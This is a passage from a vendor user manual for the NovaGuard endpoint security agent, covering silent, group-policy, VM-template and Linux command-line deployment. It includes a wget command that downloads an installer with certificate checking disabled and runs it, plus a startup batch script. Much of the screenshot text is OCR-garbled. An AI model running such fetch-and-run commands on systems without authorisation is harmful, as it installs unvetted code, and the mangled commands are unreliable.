nodes are in the seed node list during the installation of NovaGuard.

4. NovaGuard manager: Queries the seed node list. If a seed node is in the
same network segment (such as PC 1), the NovaGuard manager pushes
down the P2P policy for PC 2 to download resources from PC 1.

5. PC2: Downloads the databases and the upgrade package from PC 1 after

receiving the P2P policy, starts the installation, and repeats Step 2.

Version 02 (Jul. 18, 2025) 39



NovaGuard_V6.0.4R4_User Manual

Comparison of the two scenarios:

1. Similarities between Scenario 1 and Scenario 2: Both scenarios have
limited bandwidth between the headquarters and branches. Seed nodes
are created based on P2P deployment during the early policy
implementation stage, reducing the bandwidth usage of the dedicated
network or VPN.

2. Advantages of Scenario 2 over Scenario 1: Using Download resources
from ForeNova server first can distribute most of the traffic to the
branch's egress interface for Internet access during the early stage,
avoiding the impact of excessive bandwidth usage of the dedicated
network or VPN on business systems. Adding the IP addresses of critical
business systems in Excluded IP Addresses can prevent the impact of
excessive Internet bandwidth usage on public access to these essential

business systems.

2.3.2 Deployment on Windows

You can deploy the NovaGuard agent on Windows on a small or large scale.

1. Small-scale deployment methods (without third-party tools) include:
manual installation, silent installation, installation on physical machines
(full offline installer), and redirection to the NovaGuard agent installer
download page.

2. Large-scale deployment methods (with a third-party tool) include: bulk
installation via an Active Directory (AD) domain, bulk installation via
desktop management software, bulk installation via integrated Internet

access control devices, and bulk installation on virtual machines.

2.3.2.1 Manual Installation

Manual installation is the most commonly used method in small-scale
deployment scenarios. Administrators download the NovaGuard agent
installer from the NovaGuard manager and copy the installer to endpoints for
installation using portable devices such as USB devices. The procedure is as

follows:
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Step 1. Download the NovaGuard agent installer from the NovaGuard
manager. Go to System > Agent Deployment > Agent Download, select
Windows > Agent Installation on Physical Machines, and click Download
under Manual Installation, as shown in the following figure.

Agent Download

Agent Installation on Physical Machines

H ¥ .d Download the agent installer locally and deliver it to users via USB device, network sharing, etc.

o Configure groups
Ungrouped Assets »

Endpoints > Endpoint Groups

e Install the agent
Manual Installation Silent Installation

en. Itis

dpoints page before

INoTE

The installer name (like NovaGuard_installer_[Manager IP]_4430.exe) contains the IP

address of the EPP manager. Do not change the installer's name.

Step 2. Copy the installer to the target endpoint and double-click it to install.
Reserve 5 GB of space for the installation. The default installation path is on
the C drive. To install the NovaGuard agent on another drive, make sure you
have super administrator permissions. Otherwise, use the default installation

path.
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©

NovaGuard

Ultimate Security in a Lightweight Client

Destination Folder: C)\Program Files\SFAEDR\agent | 7]

lagreetothe Terms of Use

Read the terms of use, check | agree to the Terms of Use, and click Install.
Then, the installer connects to the NovaGuard manager to download the

necessary installation components, as shown in the following figure.

NovaGuard

Ultimate Security in a Lightweight Client

Downloading

Wait for the installation of the components downloaded from the NovaGuard

manager to complete.
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Installation finished. Start protecting endpoints now!

Start Protection

After the installation, click Start Protection to register the asset, as shown in

the following figure.

B Asset X
2 Owner: Amy
1
Staff No.: 12345
Contact: 13385969586
Email Address: 10086@qq.com

I Endpoint Name: Amy pc

Location: 1

Asset Number: S11 I‘

IP Address: 10.13.1.4

MAC Address: FA-16-3E-5D-83-D7

0s: Windows Server 2019 Standard x64

Save

The NovaGuard agent is successfully installed once the NovaGuard

homepage appears after the registration.
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NovaGuard Uptime: 1 days

f Scan completed today. Realtime Protections:
o/ No pending threats. G 6 enabled

Scan Now => Blocks: 17 {last 30 days

Events (Last 30 Days)

Ransomware Protection » Speed Up & Free Up Space
Realtime File Protection & Dev Environment
B
©® Ransomware Honeypot
) Messages 2025.07.18 14:48:53 Virus-infected files were quarantined.

Security Engines: # @ = &

Quarantine(167) Trust(0) Logs

When you install the NovaGuard agent on an endpoint, NovaGuard
automatically detects and uninstalls third-party antivirus software that is
incompatible with the NovaGuard agent on the endpoint during the agent

installation process.

Modify the file name of the agent installation file and add the suffix _RTS at the
end. It will uninstall the third-party EDR when the agent is installed. Otherwise,
it will not uninstall the third-party EDR.

NovaGuard

Uttimate Security in 2 Lightweight Client

The following software applications could not be uninstalled. Please uninstall them manually.

Trend Micro Waorry-Free Business Security Agent (Version® 20.0.1059) Uninstall

Trend Micro Worry-Free Business Security Standard (Version: 10.0.0.1370) Uninstall

Cpen NovaGuard
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2.3.2.2 Silent Installation

Silent installation is an installation without the need for manual intervention.
Administrators download the NovaGuard agent installer from the NovaGuard
manager and copy the installer to endpoints for installation using portable

devices such as USB devices. The procedure is as follows:

Step 1. Download the NovaGuard agent installer from the NovaGuard
manager. Go to System > Agent Deployment > Agent Download, select
Windows > Agent Installation on Physical Machines, and click Download

under Silent Installation, as shown in the following figure.

Agent Download

General Deployment

Agent Instalation on Physical Machines
2§ Yownload the agent installer locally and deliver it o users via USB device, network sharing, efc

@ corisniisins

© instai he agent

Step 2. Right-click the installer to execute it as an administrator or
double-click the installer for a silent, automatic installation. After the
installation, the NovaGuard agent automatically connects to the NovaGuard
manager, and you can find the online endpoint on the Endpoints > Endpoint

Groups page of the NovaGuard manager.

ﬁ?‘l NovaGuard_installer_10.65.168.122_4430.msi 21/07/2025 15:39 Windows Installer Pa.. 16,656 KB

LONoTE

The installer name (like NovaGuard_installer_[Manager IP]_4430_silence.exe) contains the
IP address of the NovaGuard manager and the word "silence". Do not change the

installer's name.
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LLNoTE

To check the silent installation process, open Task Manager to find the running fget.exe
process. If the process is obtaining files, silent installation is in progress. Alternatively, open
the default installation directory "SF/EDR/agent/bin" and refresh the page to check whether
new files are created.

] 5 Application Tools ~bin

Processes Performance App history Startup Users Details Services

« © 4 |« Local Disk(C) > Program Files > SF > EDR > agent > bin v O Search bin
e - Name Date modifi
Name Status cpy s .
O T — == = Desktop ¢ 1 comm _baseline_tool.exe
& Microsoft OneDrive (32 bit) 0% 4 Downloads ~ # conart140.dll
w

£ Microsoft Windows Search Inde 0%  Documents 88 crash. dumperexe

—_— ¥ devcon.exe
@ njworm.exe (32 bit) 0% - ¥ DevCtrlexe

’ b Music
@ NovaGuard 0% diccfg
e TopS0 ¥ caio_packman.exe
v [ NovaGuard 0% i5h e
oP; B edr agent.exe
NovaGuard Antivirus Service
8 Videos ¥ edr_monitor.exe
[ NovaGuard 0% F foetexe
4@ OneDrive e
(¥ NovaGuard 0% fluent-bitd
3 = This PC -
[ RDP Clipboard Monitor 0% = B generalcl:exe
hfccfg
[#] Runtime Broker 0% @ Network .
init_pure_conf.lua

Fewer details <

After the NovaGuard agent is successfully installed, the NovaGuard icon appears in the
lower right corner of the screen, and the asset registration window pops up (whether filling
in the information is required depends on the policy on the NovaGuard manager). You can

also find the running edr_agent.exe and sfavui.exe processes in Task Manager.
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1+l Task Manager — 1l X
File Options View
Processes Performance Users Details Services

A

Name PID Status User name CPU  Memory (a... UACvirtualizat... *

[#=] dwm.exe 1904 Running DWM-2 00 74,572 K Disabled

| eaio_agent.exe 768 Running SYSTEM 00 8000K Not allowed e
|8/ eaio_agent.exe 1880 Running Administr... 00 2900K Not allowed

] 5788 Running SYSTEM 00 1,824 K Not allowed

3 | 1532 Running SYSTEM 00 52,692K Not allowed
|5/ edr_monitor.exe 5940 Running SYSTEM 00 8,792K Not allowed
1 explorer.exe 4636 Running Administr... 00 84,748K Not allowed
[5=|fontdrvhost.exe 804 Running UMFD-1 00 992K Disabled
[#=|fontdrvhost.exe 812 Running UMFD-0 00 2,532K Disabled
(% fontdrvhost,exe 1528 Running UMFD-2 00 3,684 K Disabled
© HelpPane.exe 7492 Running Administr... 00 3,032K Net allowed
[5=lipc_proxy.exe 112 Running SYSTEM 00 2644K Not allowed
|#=|LogonUl.exe 1012 Running SYSTEM 00 7928K Not allowed
(5] Isass.exe 628 Running SYSTEM 00 18,896 K Not allowed
4= msdtc.exe 5112 Running NETWORK... 00 2,168 K Not allowed
Q}notepad*v.exe 8844 Running Administr... 00 7008 K Not allowed
[ rdpclip.exe 1780  Running Administr... 00 2,588 K Not allowed

| Registry 104 Running SYSTEM 00 892K Not allowed
[ RuntimeBroker.exe 3228 Running Administr... 00 4,152K Not allowed
[#5]RuntimeBroker.exe 5172 Running Administr... 00 138,872K Not allowed
[#5] RuntimeBroker.exe 5836  Running Administr... 00 4440K Not allowed
[#=|SearchUl.exe 1660 Suspended Administr... 00 0K Not allowed
[l cenvices eve AOR Runninn SVSTEM (01 ARSA K Nant alloaed .t

Fewer details End task

2.3.2.3 Redirection to the Agent Installer Download Page

Administrators can distribute a link to the installer download webpage to user
endpoints via channels such as email and office automation (OA), to remind

the users to download and install the NovaGuard agent.

Go to System > Agent Deployment > Agent Download, select Windows, and
then select Redirection to Agent Installer Download Page in General

Deployment, as shown in the following figure.
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= Redirection to Agent Installer Download Page
. i Distribute a link to a webpage containing the installer to netify users to downlead and install the agent

@ Customize title and contents
Enter title and content to generate a fink:

NovaGuard Agent Installation

For the cybersecurity of our erganization and its devices, we reqguire all computers fo be installed with the
NovaGuard agent.

Next Preview {The fitle cannot exceed 120 characters, and the content cannot exceed 800 characters)

Enter a title and the content on the Customize title and contents page and

click Next to generate a link, as shown in the following figure.

Redirection to Agent Installer Download Page

Distribute a link to a webpage containing the installer to notify users ta downinad and install the agent.

Custarnize title and contents @ Distribute link to client computers
Copy and distribute the link below to users via emall, 08, etc

Thie link is valid for 15 days. After it expires, you need to generate a new one. To modify the validity period, uo to Deployment and Uparade (4 new link needs to be generated afer the modification)

hitps:{f10.74.102.43:443uifweb_install php?c=1401da5ede 4580Mdh1 8004050622443 m Generate Again | @ Expiresin 11 days

Back

Distribute the link to endpoints as an administrator via email, OA, or other
channels for users to download and install the NovaGuard agent, as shown in

the following figure.

NovaGuard Agent Installation

For the cybersecurity of our organization and its devices, we require ll

computers to be installed with the NovaGuard agent.

Windows mac0S Linux

1.Click the button and select an installation method: Manual Installati 1. Click the button below to download the installer, 1. Copy and execute the following command on endpoints:

on or Silent Installation 2. Copy the installer to the target computer. wet--niesEheckcoritate:

2. Copy theiinstaller to Windows computers 3. Double-click the installer and install the agent. https: (0ad_installer_linux.php-0
3. Double-click the nstaller and install the agent 4.Wait for the installation process to complete and for the client to s bzt

4.Wait for the installation process to complete and for the client to connectto the

linux_NovaGuard_installer tar.gz && fagent_installer.sh
connectto the server. © Do not change the installation package name.
© The installation package name The agent s incompatible with other antivirus software. Please
. . 2. Wat for the installation process to complete and for the client to
(NovaGuard_installer 10.65.168.122 4430_silence exe) contains uninstall other antivirus software first

connect o the server.
server P address and therefore cannot be changed. ;
© Please make sure the version of the wet tool on Linux O s 114 or

later versions, or contact administrator to modify the configuration.

: co o
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2.3.2.4 Installation via an AD Domain

1. Scenario

In scenarios where you have deployed a Microsoft AD domain controller in the
internal network to which endpoints are connected for unified management,
you can automatically install the silent NovaGuard agent package upon the

startup of endpoints by distributing a group policy via the domain controller.

2. Procedure

The procedure for NovaGuard agent installation via an AD domain is as

follows:

Download the installer:

Download the installer and deployment guide, as shown in the following figure.

Buik Deployment

Agent Instalation via AD Domain

St installer EXE Installer

Distribute and depicy an M instalerfa endpoints in the AD domai

The name of the downloaded installer contains the IP address and the port to
connect to the NovaGuard manager, as shown in the following figure. Do not

change the installer's name. Otherwise, the installation will fail.

|4} ¥ | temp
“ Home Share Wiew
&« v » ThisPC » Local Disk(C:) » temp
A Gk Mame . Date modified Type Size
B Desktop g W NovaGuard_installer_10.65.162.122_4430.exe 771472025 11:50PM Application 6,758 KB
4 Downloads
| Decuments
| Pictures
J\ Music

Create a group policy object:

Log in to the domain server, open Group Policy Manager, and create a Group

Policy Object, as shown in the following figure.
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‘& Group Policy Management
a ﬂ Forest edr197 com
4 | gy Domains
4 g3 #dn97.com
Wl Default Doman Pohcy

Contents [—

=

- Name

I?#::-'ﬂ L  Manage Backups..
Ny stion Tebile Editor
.| Group Policy Dy o
MNew Window from Here
Relresh
_ [

Enter a name for the group policy object and click OK.

Edit the group policy object

Right-click the newly created group policy object and select Edit.
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| @ Group Policy Management
4 4\ Forest: edr197.com
4 g4 Domains
4 F3 edr197.com
i/ Default Domain Policy
b &) Domain Controllers
4 |} Group Policy Objects
[ Default Domain Cont

|[Group Policy Manay

Conterts L

Name
£\ Forest: edr197.com

eeeese— P L

Go to Computer Configuration > Windows Settings > Scripts

| Default Domain PcFit}
] EDRT ;
b [ WMI Firll e
b (Jd Starter GPO Status »
4 1-! Sites . j Back Up...
ﬁ i PO!.'W Restore from Backup...
<) Group Policy Re y
Impert Settings..,
Save Report...
New Window from Here
Copy
Delete
Rename
< = Refresh ==
Restore the GPO from a bac

(Startup/Shutdown) and click Startup.

=] Local Group Policy Editor
File Action View Help
= 2@ = H

;EJ Local Computer Policy
~ & Computer Configuration
] Software Settings
~ [ Windows Settings
| Name Resclution Policy
[ Scripts (Startup/Shutdow,
= Deployed Printers
b5 é Security Settings
> gl Policy-based QoS
5 [ Administrative Templates
w 4, User Configuration
|| Software Settings
» ] Windows Settings
5 [ Administrative Templates

Select an item to

view its description.  Mame
| Startup

E—:, Shutdown

< > | Extended / Stan:

dard /
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Click Show Files to open the startup script directory where the installer and

the batch policy distribution script are to be placed, as shown in the following

? X

figure.
Startup Properties

PowerShell Scripts

Scripts
% Startup Scripts for Local Computer
Mame Farameters

LI
I:""'-'r'_l
Add..

it

Femove

Tao view the scrpt files stored in this Group Policy Object, press

the button below.

Show Files...

tancel

OK

Place the installer and the batch policy distribution script in the startup script

directory, as shown in the following figure.
sl 4430.exe

@ AR PP installer |

% | edr.bat
Copy the path to the startup script directory from the address bar for later use

in edr.bat modification.
Open edr.bat with Notepad++ and make the following changes.
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Tl edrbat - igEA = =}
XAHF) HEE(E) BH(0) FA(V) #EH)
]@echo off

rem Set shared path name and executable file name.

et "Route=\\edr197.com\SysVol\edr197.com\Policies\{52FOE80C-A9CD-4438-BC55-BE4E3A6AC71B}\Machine\Scripts\Startup”
et "EDR_EXE= *_installer_ _4430.exe"

echo [%date:~0,10% %time:~0,8%] edr start install > %temp%\flag.log

rem Not modifiable.

set "ProcessFlag=edr_monitor.exe”

tasklist | findstr /IM %ProcessFlag%

if %errorlevel% == 0 (
echo [%date:~0,10% %time:~0,8%] edr is installed already >> %temp%\flag.log
exit /b 0

)

copy /Y "%Route%\%EDR_EXE%" %temp%\

start /MIN "* %temp%\%EDR_EXE% -Silence=Y

echo [%date:~0,10% %time:~0,8%] edr end install >> %temp%\flag.log
exit /b 0

e Change the values of the Route and EDREXE parameters.

«Set Route to the startup script directory where the installer and the batch

policy distribution script are stored.
¢ Set EDR_EXE to the installer name.

e Save the changes and close the script.
Click Add..., as shown in the following figure.
Startup Properties ? *

Scripts  PowerShell Scripts

= Startup Scripts for Local Computer

<—>3|

MName Parameters
I.II.

Dlaiwn

Edit
Remove
To view the script files stored in this Group Policy Object, press
the button below.
S.I'.low Files...
CK Cancel Apply
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Click Browse... to select and add edr.bat.

Add a Script
Script Mame:
| Browse...
Script Parameters:
OK Cancel
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Browse

T « Windows » Systern32 » GroupPolicy » Machine » Scripts » Startup

Organize « New folder

~
# Quick access

[ Desktop
; Downloads

(&) edr

|| Documents

[&=| Pictures
C
2

% % % % 3

etc

‘e Local Disk (C2)
¢@ OneDrive
O This PC

|_j Metwork
E DESKTOP-GMIC
v

Name Date modified Type

2020/12/S 16:43 Windows

File name: | aes_installer_10.74.102.43_4430.msi

Add a Script
Script Name:
edr bat| Browse...
Script Parameters:
OK Cancel

Click OK.
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Startup Properties ? bt

Scripts  PowerShell Scripts

c_:"'i Startup Scripts for Local Computer

Mame Parameters

B

-
]
1=
3

Edt..
Bemave
To view the script files stored in this Group Policy Object, press
the button below.
Show Files...
oK | | Canesl | Loply

Link the group policy object:

Before applying the group policy to all computers in the domain, link the group

policy object to a test organizational unit (OU) for a small-scale test.

LLINOTE

The group policy takes effect only if there are computers in the OU. The group policy does

not take effect if there are only domain users because it is for Computer Configuration

rather than User Configuration.

For example, you can link the group policy object to the test OU in the domain,

as shown in the following figure.
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& File Action View Window Help
@ m ¢ @ m

& Group Policy Management -
4 4\ Forest: edr197.com '_T:;lml _l olicy Management
4 |34 Domains |
4 |ﬂ ance I LR LI.I_._
m'LI' Create a GPO in this domain, and Link it here...

p &l  Linkan Existing GPO..
4 51 :Blncktnharitm

Group Policy Modeling Wizard .
Mew Organizational Unit
b é Search...
B .
Change Domain Controfier...
b L Sites :

i Groug Remove

., Groug Active Directory Users and Computers...
- Mew Window from Here

| Refresh

-Pmpuﬁzﬁ

:-Hdp

T 1

Select the newly created group policy object (such as EDRSetup), and click OK

to complete the script-based deployment upon endpoint startup.

Default Domain Controllers Policy

EEEE Eimain Policy
!
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Verify the installation:

Restart the test endpoint to verify the installation of the NovaGuard agent. The

NovaGuard agent is under installation if you find NovaGuard Antivirus

Service in the endpoint Task Manager.

1y Task Manager
File Options View

Processes Performance App history Startup Users Details Services

@ 7%

Name Status CPU
@ Microsoft Help and Support 0%

&% Microsoft OneDrive (32 bit) 0%

¢4 Microsoft Windows Search Inde... 0%

@ njwOrm.exe (32 bit) 0%

o NovaGuard 0%

v [ NovaGuard 0%

NovaGuard Antivirus Service

[#7] NovaGuard 0%

[#5] NovaGuard 0%

[#5] RDP Clipboard Monitor 0%

Fewer details

20%

Memeory

2.4 MB
3.8 MB
8.7MB
3.2MB
70MBE
244 MB

9.4 MB
1.7MB
21 MB

2%

Disk

0 MB/s
0 MB/s
0MB/s
OMB/s
0.1 MB/s
0 MB/s

0.1 MB/s
0 MB/s
0 MB/s

0%
Network

0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps
0 Mbps

0 Mbps
0 Mbps
OMbps

End task

Wait for a few minutes for the installation to finish. Then, you can find the icon

of the NovaGuard agent on the screen, as shown in the following figure.

If computers in the test OU can successfully install the NovaGuard agent, link

the group policy object to all computers in the domain. To do this, right-click

the domain aES197.com and select Link an Existing GPO..., as shown in the
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following figure.

r Group Policy Managen

i File Action View Window Help

& d m
| & Group Policy Management 'Gmup _l"ﬂl.b-c'fl_l-:l_:_nl-g-mcni
4 4% Forest: edr197.com Cortarta
4 |35 Domains
4 3__'_3 ed A LYEYS
"l Create a GPO in this domain, and Link it here..
b (B Link an Existing GPO....
4 =0 Block Inhentance

Group Pohicy Modehng Wizard

New Organizational Unit

by Search...
= |
b Change Domain Controfler...
b i Sites
i Groug Remove
+ Groug Active Directory Users and Computers...
MNew Window from Here
Refresh
Properties
Help
LINoTE

1. The group policy takes effect only if computers are in the linked OU. The group policy
does not take effect if there are only domain users because it is for Computer
Configuration rather than User Configuration. In this case, a computer automatically
obtains the NovaGuard agent installation group policy after it starts up and joins the
domain. For a group policy for User Configuration, a computer automatically obtains the
group policy for NovaGuard agent installation after logging in to the computer using a

domain user with the administrator role.

2. During the installation of the NovaGuard agent, necessary components are downloaded
from the NovaGuard manager. To avoid excessive bandwidth usage due to bulk installation
and ensure stability, limit the number of endpoints per bulk on which the NovaGuard agent

is to be installed.

If the bandwidth is 100 Mbit/s (12.5 Mbit/s) and the maximum download bandwidth for each
endpoint is 2 Mbit/s, limit the number of endpoints per bulk to 5, with a reserved bandwidth

of 0.5 Mbit/s.
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If the bandwidth is 1,000 Mbit/s (125 Mbit/s) and the maximum download bandwidth for
each endpoint is 2 Mbit/s, limit the number of endpoints per bulk to 60, with a reserved

bandwidth of 5 Mbit/s.

3. A computer with the NovaGuard agent installed will not undergo another installation

when restarted.

2.3.2.5 Installation via Desktop Management Software

In scenarios where you have desktop management software that supports
software distribution, you can distribute the NovaGuard agent via desktop

management software for bulk installation.

Scenario 1: Desktop management software for bulk installation supports

the silence parameter.

In this scenario, you can download the standard NovaGuard agent installer and
set the silence parameter (-Silence=Y) for bulk installation. Go to System >
Agent Deployment > Agent Download, select Windows, click Agent
Installation via Desktop Management Software in Bulk Deployment, and

click Download, as shown in the following figure.

Agent Installation via Deskiop Management Software
w Use the desktop management software to distribute the installer

1. Click the button below to download the installer. For silent installation, adjustthe parameter ¢Silence=Y) in the deskiop management software.
2. Use the desktop management software to deplay agents

@ ITthe parameter used for silent installation cannot be adjusted, download the silent installer and distribute it o endpoints.

Download

Scenario 2: Desktop management software for bulk installation does not

support the silence parameter.

In this scenario, you must download the silent NovaGuard agent installer for
Windows for bulk installation. Go to System > Agent Deployment > Agent
Download, select Windows, click Agent Installation via Desktop
Management Software in Bulk Deployment, and click download the silent

installer, as shown in the following figure.
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- | Agent Installation via Desktop Management Software
u Use the desktop management software to distribute the installer

1. Click the button below to download the installer For silent installation, adjust the parameter (-Silence=Y) in the deskiop management software

2. Use the deskiop management software {0 deploy agents

@ If the parameter used far silent installation cannot be adjusted| download the silent installer pnd distribute itto endpoints,

2.3.2.6 Installation on Virtual Machines

In virtualization environments, administrators can convert a virtual machine

with NovaGuard agent installed into a template and create virtual machines in

bulk. Go to System > Agent Deployment > Agent Download, select

Windows, and click Agent Installation on Virtual Machines in Bulk

Deployment, as shown in the following figure.

o Agent Installation on Virtual Machines
H Deploy WMs from a template that has the agent installed

1. Create avitual machine and install the agent on it with the installer downloaded helaw

{§The installer name contains the Endpoint Secure Manager address. Do not change this name

2. 0pen the hin folder under the installation directory and click to run clone_tool.

3. Export the virtual machine as template file {ava, .ovf, vrma, ete)

4. Usze the VWi template to deploy virtual machines with the agent installed,

Step 1. Download the installer for standard installation following the

instructions in Section 2.4.2.1. The endpoint will go online once the installation

is complete.

Endpoint Group

Groups New wore Al Assets (& oniine /4 In total)
B AlAssets No. | Endpoint Name Endpoint Type | Agent Satus
B Local Manager 1 server ® onine
Ingrouped Assets 2 PC @ Onine
3 DESKTOP-00. PC ® Oniine
4 5 WINAE2URTI..  Server ® onine

Group

ungroup.

Ungroup.

ungroup.

Ungroup.

1P Address

More v | Refresh
MACAddress | OS
FA-16-36-83...  CentOS Linux
FA-16:36.09...  Windows 10 .
00-E0-4C-A3..  Windows 10 %.
FA-16-36-5D...  Windows Serv.

CPUUsage | Memory Usage
(- 26.33%

Used/Total 1 GB/2.9

— 54.28%
UsedrTotal 2.2 GB/4
e 60.16%
Used/Total 9.4 GBI

- 3114%
¥ UsedrTotal 2.5 GBI8

New Features

Disk Usage @ Disk -
— 6860%
UsedTotal 109.9 GB. Metting
oo 148%
UsedrTotal 35.6 GB.
= 18.47%
UsedrTotal 88 GB/47

- 16.1%
Used/Total 12.8 GBY.

Step 2. Before exporting a virtual machine, right-click clone_tool.exe under

the "xxx/bin/" NovaGuard agent installation directory and execute it as an

administrator to ensure that the NovaGuard agent IDs of the created virtual
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machines are unique.

Find the tool, and itis in "C:/Program Files/SF/EDR/agent/bin" by default.

| | = | bin O =
“ Home Share View o
€« S < Local Disk (C:) * Program Files » SF » EDR » agent » bin v O Search bin y]
Name - Date modified
s Quick access S B T A e e w
[ Deskiop J api-ms-win-crt-runtime-11-1-0.dll
% Downloads | api-ms-win-crt-stdio-I1-1-0.dll
|%] api-ms-win-crt-string-11-1-0.dll
= Dacuments 2] api-ms-win-crt-time-11-1-0.dll
=] Pictures 3 api-ms-win-crt-utility-11-1-0.dl
8] =] at100.dll
2 [ blscantool.exe
e  bury.d
4y Local Disk (C) %] bus_register.dll
4@ OneDrive
[ This PC [ check firewall.exe
= cl_ev.dll
¥ Network [# clone_tool.exe
&=| comm_baseline_tocl.exe
2| conert140.dll
[ crash_dumper.exe
&g deveon.exe
[ Devitrlexe
] dic.cfg
288 items

Right-click clone_tool.exe to execute it as an administrator and wait for the

prompt "create copying flag success" to appear.

B CM\Program Files\SP\EDR\agent\bin\clone_tool.exe

copying flag

Key TO CO ntinue

Step 3. Export the virtual machine. The following steps use ForeNova HCl as

an example.
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— —
Group = Select J=s¢

Take Snapshot +  Migrate

Back Up +  Migrate to VMware vCenter
Clone Migrate Across Clusters
Edit L
Summary

Backup/CDP Policy

More]

Snapshots
Backups
Assign Permissions

Delete

Step 4. Select a File Format. OVA is recommended.

Export VM (EDR_3712_20.69_@support123) %

Note: File export consumes physical resources. Exported virtual machine can be imported into

both Hyper-Converged Infrastructure and VMware vCenter

File Format: | OVA v

Version: 8 v

Cancel

Once the OVA file is exported, you can use it to create virtual machines with

NovaGuard agent installed in bulk.
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Converting disk...

0% Cancel

@ If export takes a long time, close the window or browser and log in again. Then click Export to check the export progress.

2.3.3 Deployment on Linux

You can deploy NovaGuard agents on Linux on a small or large scale. The
small-scale deployment methods include installation via the command line,
manual installation, installation on physical machines (full offline installer), and
redirection to the NovaGuard agent installer download page. Large-scale
deployment methods include installation via the Linux bulk deployment tool

and installation on virtual machines.

2.3.3.1 Installation via the Command Line

In small-scale deployment scenarios, you can obtain the installation command
and run it on an endpoint for automatic deployment. Go to System > Agent
Deployment > Agent Download, and select Linux, as shown in the following
figure.

Agent Download

tion P

8 Windows.

twork ports of the manager

General Deployment 0

Agent Installation via Command Line

; Collapse ~
H 3 ' Install the agent from the command line on the endpoint

© conrigure groups
Grow | Ungrouped Endpolns -

Endpoints > Endpoint Groups

© instaiithe agent
Agent Insiallation via Command Line: Manual Instaliaion

@ Not

1. Copy a
110.65.168.
inux_NovaGuard_nstale argz 88 ar -2
Isgent_instalersh -

installr_inuo. php -0
 NovaGuard_instalertarg2 &8

2. The agent wil automatically connect to ths NovaGuard manager after the nstalation i complete

Copy Command

Click Agent Installation via Command Line, click Copy Command, and run

the command on the endpoint, as shown in the following figure.
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ved [4354534/4354534]

2.3.3.2 Manual Installation

Download the NovaGuard agent installer to your local device, upload the

installer to the endpoint, and run the installation command.

Go to System > Agent Deployment > Agent Download, and select Linux, as
shown in the following figure.

Agent Download

General Deployment

Agent Installation via Command Line

Collapse ~
2

L Install the agent from the command line on the endpoint.

© conigure groups

Endpoints > Endpoint Groups

© instaii the agent
Agent Installation via Command Line Manual installation

woet 1 installer_linux php -O
linux_NovaGuard_inst _NovaGuard_installertar gz 8&
Jagent_installersh -c

is NovaGuard manager after the instaliation is complete.

1. Click Download under Manual Installation to download the installer.
Copy the installer to the Linux endpoint.
Run tar -xzvf linux_NovaGuard.tar.gz to decompress the installer.

Run ./agent_installer.sh to start the installation.

vk wN

Wait for the installation to complete. Then, the NovaGuard agent on the

endpoint will automatically connect to the NovaGuard manager.
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2.3.3.3 Redirection to the Agent Installer Download Page

Administrators can distribute a link to the installer download webpage to user
endpoints via channels such as email and OA to remind users to download and

install the NovaGuard agent.

Go to System > Agent Deployment > Agent Download, select Linux, and
then select Redirection to Agent Installer Download Page in General

Deployment, as shown in the following figure.

Agent Download

54 Windows & macos

@ Agent Instaliation Pre

1. Requi at the manager license has bes ted.

tthe agent can connect to the

network ports of the manager

General Deployment

Agent Installation via Command Line
W Install the agent from the command line on the endpoint

Redirection to Agent Installer Download Page

H = H Distribute a link to @ webpage conlaining the installer to notify users to dowpload and install the agent

@ Customize title and contents
Enter tifle and content to generate a link

NovaGuard Agent Installation

For the cybersecurity of our organization and its devices, we require all computers fo be installed with the
NovaGuard agent.

Next Preview (The fitle cannot exceed 120 characters, and the confent cannot exceed 800 characters)

Enter a title and the content on the Customize title and contents page and

click Next to generate a link, as shown in the following figure.
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Agent Download

58 Windows % macos

(@ Agent Instaliation Prerequisites

1. Requirements for Manager: Ensure that the manager has been successfully deployed and that ihe manager license has been activated

2. Requirements for Agent Network Communication: Before installing the agent, make sure that the agent can connect to the fallowing netwiork ports of the manager
- TCP part 4430 (for agent component and antivirus database updates)
- TGP port 8083 (for communication between the agent and the manager)
- TCP port 54120 {(an emergency channel for enabling or disabling the agent on the manager)

» General Deployment

Agent Installation via Command Line

Install the agent from the command fine on the endpoint.

Redirection to Agent Installer Download Page

Distribute a link to a webpage containing the installer to notify users to downioad and install the agent.

Customize title and contenis @ Distribute link to client computers

Copy and distribute the fink below to users via email, OA, etc.

The link expires in 90 days. After it expires, you need fo generate a new one. To madiiy the validity period, go to Deployment and Upgrade (A new link needs to be generated afier the modification)

https:/10.65.168.122:4430, b_install php: 362f602bac Generate Again | @) Expires in 80 days

Back

Distribute the link to endpoints as an administrator via email, OA, or other
channels for users to download and install the NovaGuard agent, as shown in

the following figure.

NovaGuard Agent Installation
")

For the cybersecurity of our organization and ts devices, we reguireall

computers to beinstalled with the NovaGuard agent.

Windows macOS Linux
1. Click the button and select an installation method: Manual Installati 1. Click the button below to download the installer. 1. Copy and execute the following command on endpoints:
on or Silent Installation. 2. Copy theinstaller to the target computer. weet—no-checkcertificate

2.Copy the installer to Windows computers. 3. Double-click the installer and install the agent hitps://10.65.168.122:4430/download_installer_linux.php-0
3. Double-click the installer and install the agent 4, Wait for the installation process to complete and for the client to linux_NovaGuard_installer targz & tar -xavf
4. Waitfor the installation process to complete and for the client to connect to the server, linux_NovaGuare_installertar gz && fagent installer.sh <
connect to the server, @ Donot change the installation package name.
@ Theinstallation package name The agent is incompatible with other antivirus software, Please 5 =

2. Wait for the installation process to complete and for the client to
(NovaGuard_installer_10.65.168.122 4430_silence exe) contains uninstall other antivirus software first

connect 1o the server.
server IP address and therefore cannot be changed. -
@ Please make sure the version of the weet tool on Linux 0S is 114 or

later versions, or contact administrator to modify the configuration

2.3.3.4 Installation via the Linux Bulk Deployment Tool

1. Introduction to the tool
ForeNova provides a tool that connects to Linux servers in bulk using the SSH
protocol for automatic installer download from the NovaGuard manager and

bulk NovaGuard agent deployment on Linux.
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2. The operating environment for the tool

a) Windows

3. Requirements:

a) Collect the root account usernames and passwords of all Linux

servers in advance.

b) The Windows PC that hosts the tool can connect to the Linux servers
where the NovaGuard agent is to be installed via the SSH protocol.
4. Procedure:
a) Download the tool.
Go to System > Agent Deployment > Agent Download, select Linux,
click Agent Installation via Linux Bulk Deployment Tool in Bulk
Deployment, and click Download and Download Deployment Guide, as

shown in the following figure.

28 Windows & macos

ricports of the manager

General Deployment

Agent Installation via Command Line

k4 2
W install the agent from the command line on the endpeint

Redirection to Agent Installer Download Page

\ - L Distribute a link to a webpage containing the installer to notify users o downicad and install the agent

Bulk Deployment

—

B H Agent Installation via Linux Bulk Deployment Tool
w Bulk deploy agents by sending and executing a sheil script.

